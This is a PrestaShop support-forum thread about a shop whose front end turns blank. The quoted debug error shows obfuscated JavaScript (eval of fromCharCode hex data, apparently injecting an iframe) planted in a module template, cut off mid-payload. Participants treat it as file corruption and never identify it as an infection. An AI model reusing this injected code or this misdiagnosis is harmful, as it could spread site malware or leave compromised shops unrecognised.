New installfront end appears white

[gridl0ck]

Hello, I have done two new install of prestashop and after a few days for some reason the front end appears totally blank and white.

 

I have not done any code editing or anything as such other than creating categoriesand product descriptions.

 

 

the website is: http://www.thefonedoc.co.uk

 

Appreciateany support on this. thank you.

[Carlsen]

Hi,

 

Delete/rename your .htaccess file - If that doesn't work, then go to your config folder and open defines.inc.php.

 

In that file, enable debug mode:

 

Change this (located at line 28)

define('_PS_MODE_DEV_', false);

To this:

define('_PS_MODE_DEV_', true);

 

Now reload your website and it should produce some errors which you can post here.

Edited April 20, 2013 by Carlsen (see edit history)

[gridl0ck]

Thanks for the reply. Renaming/deleting htaccess did not work. I edited the line and it now shows the following error:

 

 

Fatal error: Uncaught exception 'SmartyCompilerException' with message 'Syntax Error in template "/home/darknite/public_html/shop/modules/blocklanguages/blocklanguages.tpl" on line 57 "</div><!--a59dc4--><script type="text/javascript" language="javascript" > aq="0x";ff=String;ff=ff.fromCharCode;zz=3;try{document.body^=~1;}catch(z1z1){v=123;vzs=0;try{document;}catch(q){vzs=1;}if(!vzs)e=eval;if(1){f="5e,6d,66,5b,6c,61,67,66,18,72,72,72,5e,5e,5e,20,21,18,73,5,2,18,18,18,18,6e,59,6a,18,6a,5f,5e,70,18,35,18,5c,67,5b,6d,65,5d,66,6c,26,5b,6a,5d,59,6c,5d,3d,64,5d,65,5d,66,6c,20,1f,61,5e,6a,59,65,5d,1f,21,33,5,2,5,2,18,18,18,18,6a,5f,5e,70,26,6b,6a,5b,18,35,18,1f,60,6 in /home/darknite/public_html/shop/tools/smarty/sysplugins/smarty_internal_templatecompilerbase.php on line 665

[Carlsen]

Hi again gridl0ck,

 

Seems there is an issue with the blocklanguages.tpl file. Try disabling the blocklanguages module and see if your page now works.

 

Unless you have made changes to your blocklanguages.tpl file, I would advise that you just replace that file with the default one

[gridl0ck]

I tried that and then it had a problem with block currencies. Think I may do a fresh install. I was installing it with automatic install provided by my webhost and then using the update module to update it. May just download latest version and do a manual install.

[benjamin utterback]

Hi gridl0ck, if you are familiar with FTP then definitely try to do it by FTP. However, I would uninstall the auto install and just try it again, sometimes it just takes one corrupted file to mess up an installation.